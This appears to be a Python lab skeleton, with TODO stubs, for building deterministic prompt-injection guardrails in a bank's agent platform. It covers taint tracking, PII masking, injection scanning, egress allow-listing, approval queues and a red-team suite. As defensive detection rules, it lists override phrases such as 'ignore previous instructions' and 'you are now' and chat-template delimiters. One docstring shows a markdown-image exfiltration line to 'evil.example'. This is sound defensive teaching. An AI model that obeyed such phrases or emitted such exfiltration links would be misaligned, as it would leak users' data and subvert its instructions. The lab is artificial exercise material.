"""Lab 01 — The guardrail chain: taint, detection, egress, HITL, coverage.

Prompt injection cannot be prompted away. It **can** be contained architecturally, and
building that containment is this lab.

Work top to bottom; each section's tests pass once that section is done:

  1.  the trust boundary and taint propagation
  2.  sensitive-data detection (with checksums)
  3.  masking, redaction, tokenization
  4.  injection detection
  5.  information barriers and MNPI
  6.  egress allow-listing
  7.  the five-stage guardrail chain
  8.  human-in-the-loop
  9.  the generated OWASP coverage matrix
  10. the red-team suite

    pytest                     # against your work
    LAB_MODULE=solution pytest # against the reference

Determinism rules: no model in the path, the clock is injected, every collection you
return is sorted, and tokens are derived (blake2b) rather than random.
"""

from __future__ import annotations

import hashlib
import re
import unicodedata
from dataclasses import dataclass, field, replace
from enum import Enum
from typing import (Callable, Dict, FrozenSet, Iterable, List, Mapping, Optional,
                    Sequence, Set, Tuple)

# ======================================================================================
# 1. The trust boundary
# ======================================================================================


class Trust(str, Enum):
    """Where a piece of content came from, and therefore what it may do."""

    SYSTEM = "system"           # the platform's own prompt. May instruct.
    USER = "user"               # a human's request. Intent, but not authority.
    RETRIEVED = "retrieved"     # a document. Data.
    TOOL_OUTPUT = "tool_output" # a tool's response. Data.
    EXTERNAL = "external"       # a fetched page, an email. Data, and hostile by default.


#: TODO: only SYSTEM. This one line is the whole trust boundary.
MAY_INSTRUCT: FrozenSet[Trust] = frozenset()


@dataclass(frozen=True)
class Content:
    """Text with its provenance attached.

    ``sources`` is the taint set: every origin that contributed to this text. It is a set
    rather than a single value because content gets combined — a summary of three
    documents carries all three.
    """

    text: str
    trust: Trust
    source_id: str = ""
    sources: FrozenSet[str] = frozenset()
    classification: str = "internal"
    barrier: Optional[str] = None

    def __post_init__(self) -> None:
        # TODO: seed ``sources`` from ``source_id`` when it was not given.
        # (frozen dataclass: use object.__setattr__)
        raise NotImplementedError

    @property
    def may_instruct(self) -> bool:
        raise NotImplementedError

    @property
    def tainted(self) -> bool:
        """TODO: RETRIEVED, TOOL_OUTPUT and EXTERNAL are tainted. USER is NOT.

        A user is allowed to ask for a payment; that is what the authorization layers are
        for. Taint tracks *injection* risk — text that arrived without a human deciding to
        send it.
        """
        raise NotImplementedError


def combine(*parts: Content, trust: Optional[Trust] = None) -> Content:
    """TODO: concatenate with ``"\\n\\n"``, and **propagate the taint**.

    The result takes the LEAST trusted tier (use ``_TRUST_RANK``), the union of every
    source id, the HIGHEST classification, and the first barrier it finds. Raise
    ``ValueError`` on no parts.

    This is the load-bearing function. A summary of three documents is as untrusted as
    the least trusted of them. Getting this wrong — "the summary is our own text now" —
    is how tainting silently stops working, because the laundering step is invisible and
    looks like normal data flow.
    """
    raise NotImplementedError


_TRUST_RANK: Mapping[Trust, int] = {
    Trust.SYSTEM: 0, Trust.USER: 1, Trust.TOOL_OUTPUT: 2, Trust.RETRIEVED: 3,
    Trust.EXTERNAL: 4,
}

_CLASSIFICATION_RANK: Mapping[str, int] = {
    "public": 0, "internal": 1, "confidential": 2, "restricted": 3,
}


# ======================================================================================
# 2. Sensitive-data detection
# ======================================================================================


class DataClass(str, Enum):
    PAN = "pan"                     # primary account number (a card)
    IBAN = "iban"
    EMIRATES_ID = "emirates_id"
    EMAIL = "email"
    PHONE = "phone"
    LEI = "lei"
    MNPI = "mnpi"


@dataclass(frozen=True)
class Finding:
    data_class: DataClass
    start: int
    end: int
    value: str
    confidence: float = 1.0

    @property
    def length(self) -> int:
        raise NotImplementedError


def luhn_ok(digits: str) -> bool:
    """TODO: the Luhn checksum.

    Right to left: double every second digit, subtract 9 if the result exceeds 9, sum,
    and the total mod 10 must be 0.

    This is the reason a PAN detector can have high precision. A sixteen-digit number is
    common; one that passes Luhn is almost certainly a card. Without the check the
    detector fires on order numbers and timestamps — and a masker with a high
    false-positive rate is a masker somebody disables.
    """
    raise NotImplementedError


def iban_ok(candidate: str) -> bool:
    """TODO: ISO 13616 mod-97.

    Strip spaces, upper-case. Reject anything under 15 characters, or without two letters
    then two digits. Move the first four characters to the end, replace each letter with
    ``ord(c) - 55``, and the resulting integer mod 97 must equal 1.
    """
    raise NotImplementedError


#: TODO: (data_class, pattern, optional checksum). ORDER MATTERS — put IBAN before PAN,
#: or the PAN's digit-run pattern swallows the IBAN's tail.
_PATTERNS: Sequence[Tuple[DataClass, re.Pattern, Optional[Callable[[str], bool]]]] = ()


def detect(text: str) -> List[Finding]:
    """TODO: find every sensitive value, NON-OVERLAPPING, longest-match-wins.

    Overlap resolution is not a detail: an IBAN contains a digit run that looks like a
    PAN, and without resolution you mask the same span twice and corrupt the text.
    Sort candidates by (-length, start, class), take greedily while they do not overlap
    an already-taken span, then return sorted by ``start``.
    """
    raise NotImplementedError


# ======================================================================================
# 3. Masking, redaction, tokenization
# ======================================================================================


class Treatment(str, Enum):
    """Three different operations that people call "masking".

    | | reversible | shape kept | use |
    |---|---|---|---|
    | REDACT | no | no | logs, anything shipped off-platform |
    | MASK | no | **yes** | model context — the agent can still reason about it |
    | TOKENIZE | **yes** (with the vault) | yes | pipelines where a later stage needs it |
    """

    REDACT = "redact"
    MASK = "mask"
    TOKENIZE = "tokenize"


class TokenVault:
    """Reversible surrogates. Derived, never random, so the tests can assert on them.

    A vault holds the real values, so it is now the highest-value target in the system and
    needs its own access control, audit and residency story. Tokenize only when a
    downstream stage genuinely needs the value back.
    """

    def __init__(self, *, salt: bytes = b"vault") -> None:
        raise NotImplementedError

    def tokenize(self, value: str, data_class: DataClass) -> str:
        """TODO: ``<PAN:abc123def456>`` — the class, then a blake2b digest of the salted
        value. The same value must always produce the same token, in this process and the
        next one."""
        raise NotImplementedError

    def detokenize(self, token: str) -> Optional[str]:
        raise NotImplementedError


def mask_value(value: str, data_class: DataClass) -> str:
    """TODO: shape-preserving. Keep the last four for anything account-like; keep the
    domain for an email.

    Keeping the last four is a deliberate trade worth being able to defend: it leaks four
    digits, and it is what makes the control survivable. A payments investigator who
    cannot tell two accounts apart will ask for the guardrail to be turned off, and they
    will be right to.
    """
    raise NotImplementedError


def apply_treatment(text: str, findings: Sequence[Finding], *,
                    treatment: Treatment = Treatment.MASK,
                    vault: Optional[TokenVault] = None,
                    exempt: FrozenSet[DataClass] = frozenset()) -> str:
    """TODO: rewrite the text. **Right to left**, so earlier offsets stay valid.

    Replacing left to right shifts every subsequent offset by the length delta, and the
    resulting corruption is intermittent and maddening. Reverse iteration removes the
    problem rather than tracking a delta.

    REDACT -> ``[PAN]``; MASK -> ``mask_value``; TOKENIZE -> the vault (raise
    ``ValueError`` when there isn't one). Skip anything in ``exempt``.
    """
    raise NotImplementedError


# ======================================================================================
# 4. Injection detection
# ======================================================================================


class InjectionPattern(str, Enum):
    INSTRUCTION_OVERRIDE = "instruction_override"
    ROLE_CONFUSION = "role_confusion"
    DELIMITER_ESCAPE = "delimiter_escape"
    ENCODED_PAYLOAD = "encoded_payload"
    EXFILTRATION = "exfiltration"
    TOOL_INVOCATION = "tool_invocation"
    INVISIBLE_TEXT = "invisible_text"


@dataclass(frozen=True)
class InjectionSignal:
    pattern: InjectionPattern
    evidence: str
    weight: float


#: TODO: (pattern, regex, weight) rules covering at least:
#:   * "ignore/disregard/forget ... previous/prior/all ... instructions"  (0.9)
#:   * a line starting "system:" / "assistant:" / "you are now"            (0.7-0.8)
#:   * chat-template delimiters: <|im_end|>, [INST], <system>              (0.8)
#:   * base64/rot13/hex "decode this"                                      (0.6)
#:   * a markdown image with an http URL, or "send ... to https://"        (0.9)
#:   * "call/invoke the tool", or "payments.something("                    (0.6-0.8)
_INJECTION_RULES: Sequence[Tuple[InjectionPattern, re.Pattern, float]] = ()

#: Zero-width and bidi-control characters. An injected instruction rendered invisible in
#: every viewer a human would use, and perfectly legible to the tokenizer.
_INVISIBLE = re.compile(r"[​-‏‪-‮⁠-⁤﻿]")


def normalize(text: str) -> str:
    """TODO: NFKC, THEN strip invisibles.

    Normalization first, because homoglyphs and full-width characters are how the same
    instruction evades a literal pattern: ``Ｉｇｎｏｒｅ`` is not ``ignore`` until NFKC
    says it is. A scanner that pattern-matches raw input has a documented bypass.
    """
    raise NotImplementedError


def scan_injection(text: str) -> List[InjectionSignal]:
    """TODO: deterministic pattern detection. Return every signal, sorted by
    ``(-weight, pattern)``.

    Emit an INVISIBLE_TEXT signal when the RAW text contains zero-widths (check before
    normalizing — normalization removes the evidence), then match every rule against the
    NORMALIZED text.

    Be honest about what this is: a **detector**, not a defence. It raises the cost of a
    naive attack and catches copy-pasted payloads; a competent attacker will get past it.
    The containment in §7 is what actually holds.
    """
    raise NotImplementedError


def injection_score(signals: Sequence[InjectionSignal]) -> float:
    """TODO: combine independently — ``1 - Π(1 - w)``.

    Not a sum (which exceeds 1 and needs clamping) and not a max (which ignores that
    three weak signals together are stronger than one). This is the noisy-OR: each extra
    signal closes some of the remaining gap to 1.
    """
    raise NotImplementedError


# ======================================================================================
# 5. Information barriers and MNPI
# ======================================================================================


@dataclass(frozen=True)
class Document:
    doc_id: str
    text: str
    classification: str = "internal"
    barrier: Optional[str] = None       # e.g. "deal:PROJECT-FALCON"
    desk: Optional[str] = None
    mnpi: bool = False


@dataclass(frozen=True)
class Viewer:
    """Who is retrieving. Barriers are per-person and per-deal, not per-role."""

    user_id: str
    desk: str
    clearances: FrozenSet[str] = frozenset()     # the barriers this person is inside
    classification: str = "internal"


def barrier_filter(documents: Sequence[Document], viewer: Viewer) -> List[Document]:
    """TODO: the information barrier, as a **retrieval constraint**. Drop a document when:

      * it has a barrier the viewer is not cleared for;
      * it is MNPI and belongs to another desk;
      * its classification exceeds the viewer's.

    Check MNPI **before** classification: an MNPI document is frequently classified merely
    "confidential" and would pass a classification check.

    This is the phase's bank-specific idea. An information barrier is usually a policy
    document and a training module. In an agentic platform it must be a filter in the
    retrieval path, because an agent that retrieves across a barrier has *created* a
    regulatory event — and nothing errors, nothing alerts, and the wall-crossing is
    recorded only as a helpful answer.
    """
    raise NotImplementedError


# ======================================================================================
# 6. Egress control
# ======================================================================================


_URL = re.compile(r"https?://([^\s/\)\]\"'<>]+)(/[^\s\)\]\"'<>]*)?", re.I)
_MARKDOWN_IMAGE = re.compile(r"!\[[^\]]*\]\(([^)]+)\)")


@dataclass(frozen=True)
class EgressVerdict:
    allowed: bool
    url: str
    host: str
    reason: str


class EgressPolicy:
    """Host allow-listing. **The** exfiltration answer.

    Detection cannot be the answer, because exfiltration channels are open-ended: a URL
    in a fetch tool, a markdown image the renderer loads, a webhook, an email recipient,
    a DNS lookup. You cannot enumerate the ways data leaves. You can enumerate the places
    it is allowed to go, and that list is short.
    """

    def __init__(self, allowed_hosts: Iterable[str]) -> None:
        raise NotImplementedError

    def _host_allowed(self, host: str) -> bool:
        """TODO: exact match, or a subdomain — case-insensitive, port stripped.

        A subdomain of an allowed host is allowed; a host merely *ending* with the string
        is not. ``evilcorp.example`` must not pass because ``corp.example`` is allowed,
        so compare against ``"." + allowed``.
        """
        raise NotImplementedError

    def check_url(self, url: str) -> EgressVerdict:
        """TODO: parse, extract the host, decide. Something unparseable is NOT allowed."""
        raise NotImplementedError

    def scan(self, text: str) -> List[EgressVerdict]:
        """TODO: every distinct URL, **markdown-image sources first**.

        The markdown-image channel is the one that surprises people: the model never
        "sends" anything — it emits ``![](https://evil.example/?d=<secrets>)`` and the
        *renderer* makes the request. No tool was called, so a tool-argument check alone
        would miss it.
        """
        raise NotImplementedError

    def violations(self, text: str) -> List[EgressVerdict]:
        raise NotImplementedError


# ======================================================================================
# 7. The guardrail chain
# ======================================================================================


class Verdict(str, Enum):
    ALLOW = "allow"
    MASK = "mask"
    BLOCK = "block"
    ESCALATE = "escalate"


class Stage(str, Enum):
    INPUT = "input"
    RETRIEVAL = "retrieval"
    TOOL_ARGUMENTS = "tool_arguments"
    OUTPUT = "output"
    ACTION = "action"


@dataclass(frozen=True)
class GuardrailResult:
    stage: Stage
    verdict: Verdict
    content: Optional[Content]
    reasons: Tuple[str, ...] = ()
    findings: Tuple[Finding, ...] = ()
    signals: Tuple[InjectionSignal, ...] = ()
    control_ids: Tuple[str, ...] = ()

    @property
    def blocked(self) -> bool:
        raise NotImplementedError


@dataclass(frozen=True)
class ProposedAction:
    tool_id: str
    arguments: Mapping[str, str]
    side_effecting: bool
    derived_from: FrozenSet[str] = frozenset()      # source ids that influenced it
    approvals: Tuple[str, ...] = ()
    value_micros: int = 0


class GuardrailChain:
    """Five stages, each emitting a verdict and its evidence.

    Deterministic by construction — no model in the path — which matters twice. It is
    testable, and it is *fast*: a guardrail adding 400 ms and a probabilistic verdict to
    every step is a guardrail that gets sampled instead of enforced, and a sampled control
    is not a control.
    """

    def __init__(self, *, egress: EgressPolicy, vault: Optional[TokenVault] = None,
                 injection_block_threshold: float = 0.85,
                 injection_escalate_threshold: float = 0.5,
                 exempt_classes: FrozenSet[DataClass] = frozenset(),
                 approval_threshold_micros: int = 100_000_000_000) -> None:
        # TODO: store the config and open an empty ``log`` list. Every stage appends.
        raise NotImplementedError

    # -- stage 1: input ---------------------------------------------------------------
    def check_input(self, content: Content) -> GuardrailResult:
        """TODO: scan the user's own request, but with a lighter hand — ESCALATE above the
        block threshold rather than BLOCK.

        Direct injection is a much weaker attack than indirect: the user is authenticated,
        their entitlements bound the result, and if they type "ignore your instructions"
        the worst case is what they were already allowed to do. Control: ``GR-01``.
        """
        raise NotImplementedError

    # -- stage 2: retrieval -----------------------------------------------------------
    def check_retrieval(self, content: Content) -> GuardrailResult:
        """TODO: **this is where indirect injection arrives.**

          * score >= block threshold -> BLOCK, and ``content=None``;
          * findings -> MASK them, and keep the taint (return the SAME sources);
          * score >= escalate threshold -> note it in ``reasons``, but retain.

        Controls: ``GR-02``, ``GR-03``.

        Note that BLOCK is not the primary defence — dropping the document merely means
        the attacker writes a subtler one. The primary defence is that this content stays
        marked RETRIEVED, and stage 3 refuses a side-effecting action derived from it
        whatever this stage decided.
        """
        raise NotImplementedError

    # -- stage 3: tool arguments ------------------------------------------------------
    def check_tool_arguments(self, action: ProposedAction,
                             context: Sequence[Content]) -> GuardrailResult:
        """TODO: **the load-bearing stage.**

          * a side-effecting action whose ``derived_from`` intersects the sources of any
            TAINTED context -> BLOCK, unless ``action.approvals`` is non-empty;
          * any egress violation in any argument value -> BLOCK;
          * otherwise, value at or above the approval threshold with no approvals ->
            ESCALATE.

        Controls: ``GR-04``, ``GR-05``, ``GR-08``.

        That first rule is what makes injection *contained* rather than *prevented*: the
        attacker can write anything into a document, and the worst they achieve is a read
        or a request for approval. Everything else in this file raises the cost of an
        attack; this stage bounds the consequence.
        """
        raise NotImplementedError

    # -- stage 4: output --------------------------------------------------------------
    def check_output(self, content: Content, *,
                     viewer_classification: str = "internal") -> GuardrailResult:
        """TODO: two jobs, in this order:

          1. **egress violations -> BLOCK.** First, so a leak is never merely masked
             through;
          2. classification above the viewer's -> BLOCK;
          3. findings -> MASK.

        Controls: ``GR-05``, ``GR-06``.
        """
        raise NotImplementedError

    # -- stage 5: action --------------------------------------------------------------
    def check_action(self, action: ProposedAction, *,
                     approver_ids: Sequence[str] = ()) -> GuardrailResult:
        """TODO: confirm a required approval exists and comes from two DISTINCT humans;
        ESCALATE otherwise. Control: ``GR-08``.

        Deliberately narrow: not a second authorization layer (Phase 09 owns that) and
        not a second contract check (Phase 10 owns that).
        """
        raise NotImplementedError


# ======================================================================================
# 8. Human-in-the-loop
# ======================================================================================


class ReviewState(str, Enum):
    PENDING = "pending"
    APPROVED = "approved"
    REJECTED = "rejected"
    EXPIRED = "expired"


@dataclass(frozen=True)
class ReviewRequest:
    """What the reviewer is shown. The fields are the design.

    A reviewer shown only "Agent wants to release payment PMT-771 — approve?" is a rubber
    stamp with a UI, and rubber-stamping is the documented failure mode of every approval
    control. To make a real decision they need the *evidence* — what the agent read and
    what it concluded — and the *chain*, so they can see whose authority is exercised.
    """

    review_id: str
    action: ProposedAction
    rationale: str
    evidence: Tuple[str, ...]
    actor_chain: str
    guardrail_reasons: Tuple[str, ...]
    created_at: int
    expires_at: int
    state: ReviewState = ReviewState.PENDING
    approvers: Tuple[str, ...] = ()
    rejected_by: Optional[str] = None


class ReviewQueue:
    """The pause lives here, not in the action gateway.

    A four-hour wait does not belong in a synchronous request handler. Parking it as a
    task state means the approval lands in the execution chain, the task survives a pod
    restart, and — the part people miss — the credential is re-minted and policy
    **re-evaluated** at resume.
    """

    def __init__(self, *, now: Callable[[], int], ttl_ticks: int = 3600,
                 required_approvers: int = 2) -> None:
        # TODO: a review dict and a counter. Review ids are DERIVED (``rev-1``), never
        # random — a test that cannot predict an id cannot assert on it.
        raise NotImplementedError

    def submit(self, action: ProposedAction, *, rationale: str,
               evidence: Sequence[str], actor_chain: str,
               guardrail_reasons: Sequence[str] = ()) -> ReviewRequest:
        raise NotImplementedError

    def get(self, review_id: str) -> ReviewRequest:
        """TODO: read, and lazily expire a PENDING review past ``expires_at``."""
        raise NotImplementedError

    def approve(self, review_id: str, approver: str) -> ReviewRequest:
        """TODO: accumulate approvers (a SET), and approve at ``required_approvers``.

        Raise if the review is not PENDING — including EXPIRED, so a late approval cannot
        resurrect a stale request nobody re-evaluated. Raise if the approver appears in
        ``actor_chain``: four-eyes with one pair of eyes is not four-eyes.
        """
        raise NotImplementedError

    def reject(self, review_id: str, approver: str) -> ReviewRequest:
        """TODO: one rejection is final. Not a vote — a **veto**.

        If rejection were a tally, an attacker who can create approvals only needs more of
        them than the objectors. A single "no" from anyone qualified to look is the
        correct semantics for a control.
        """
        raise NotImplementedError

    def pending(self) -> List[ReviewRequest]:
        raise NotImplementedError


# ======================================================================================
# 9. The OWASP LLM Top 10 coverage matrix — GENERATED
# ======================================================================================


@dataclass(frozen=True)
class Control:
    control_id: str
    name: str
    where: str
    owasp: Tuple[str, ...]


#: TODO: the controls you actually implemented, each naming WHERE it lives so a claim can
#: be checked against the code rather than believed. The tests expect at least:
#:   GR-01 input scan (LLM01)          GR-06 output classification gate (LLM02, LLM05)
#:   GR-02 retrieval scan (LLM01)      GR-07 barrier filter (LLM02, LLM08)
#:   GR-03 detect/mask (LLM02)         GR-08 approval + HITL (LLM06, LLM09)
#:   GR-04 taint rule (LLM01,05,06)    GR-09 normalization (LLM01)
#:   GR-05 egress (LLM02, LLM05)       GR-10 red-team gate (LLM01, LLM02, LLM06)
CONTROLS: Tuple[Control, ...] = ()


OWASP_LLM_TOP_10: Mapping[str, str] = {
    "LLM01": "Prompt Injection",
    "LLM02": "Sensitive Information Disclosure",
    "LLM03": "Supply Chain",
    "LLM04": "Data and Model Poisoning",
    "LLM05": "Improper Output Handling",
    "LLM06": "Excessive Agency",
    "LLM07": "System Prompt Leakage",
    "LLM08": "Vector and Embedding Weaknesses",
    "LLM09": "Misinformation",
    "LLM10": "Unbounded Consumption",
}

#: TODO: risks this phase does NOT close, and where they are closed instead. Naming them
#: is the point: a matrix with ten green rows is a matrix nobody checked.
ELSEWHERE: Mapping[str, str] = {}


@dataclass(frozen=True)
class CoverageRow:
    risk_id: str
    risk_name: str
    controls: Tuple[str, ...]
    covered_here: bool
    note: str


def coverage_matrix(controls: Sequence[Control] = CONTROLS) -> List[CoverageRow]:
    """TODO: **generate** from ``controls``, never write by hand.

    One row per OWASP risk, in ``OWASP_LLM_TOP_10`` order, with the sorted control ids
    that claim it. A control naming an unknown risk id raises ``ValueError``. An
    uncovered risk takes its note from ``ELSEWHERE``, or ``"NOT COVERED"``.

    A hand-written matrix documents intentions. This one cannot claim a control that is
    not in the list.
    """
    raise NotImplementedError


def verify_coverage(module=None) -> List[str]:
    """TODO: every control's named location must EXIST in the module, and every risk must
    be covered here or have a stated owner elsewhere. Return the problems.

    This is the function that makes the matrix trustworthy. Delete ``barrier_filter`` and
    the matrix must not quietly keep claiming LLM08 — this check fails, and so does the
    build.
    """
    raise NotImplementedError


# ======================================================================================
# 10. The red-team suite
# ======================================================================================


@dataclass(frozen=True)
class RedTeamCase:
    case_id: str
    category: str
    payload: str
    must_not_reach_tool: bool = True


#: TODO: at least ten cases across at least six categories — instruction override, role
#: confusion, delimiter escape, markdown exfiltration, instruction exfiltration, tool
#: abuse, invisible text, homoglyphs, encoding — plus at least one BENIGN control case
#: (``must_not_reach_tool=False``) so a suite that flags everything cannot pass.
RED_TEAM_SUITE: Tuple[RedTeamCase, ...] = ()


@dataclass(frozen=True)
class RedTeamResult:
    case_id: str
    category: str
    detected: bool
    score: float
    contained: bool

    @property
    def passed(self) -> bool:
        """TODO: **containment** is the pass criterion, NOT detection.

        A case that slipped past the scanner but could not reach a side-effecting tool is
        a pass, because the architecture held. Grading on detection would reward a scanner
        that blocks everything — which is a scanner that gets removed.
        """
        raise NotImplementedError


def run_red_team(chain: GuardrailChain,
                 suite: Sequence[RedTeamCase] = RED_TEAM_SUITE) -> List[RedTeamResult]:
    """TODO: run every case as RETRIEVED content and check containment.

    If retrieval blocked it, it is contained. Otherwise build a side-effecting
    ``ProposedAction`` with ``derived_from={case_id}`` and confirm
    ``check_tool_arguments`` does not ALLOW it — which is the taint rule doing the work
    the scanner could not.

    Run this as a **release gate and continuously**, not as a one-off: injection payloads
    evolve, and a suite run once at launch tests the attacks of the month you launched.
    """
    raise NotImplementedError


# ======================================================================================
# Worked example
# ======================================================================================


def main() -> None:  # pragma: no cover
    """TODO (optional): once the tests pass, build the ten-section demo.

    Compare against ``python solution.py`` — but only after your own runs.
    """
    raise NotImplementedError


if __name__ == "__main__":  # pragma: no cover
    main()
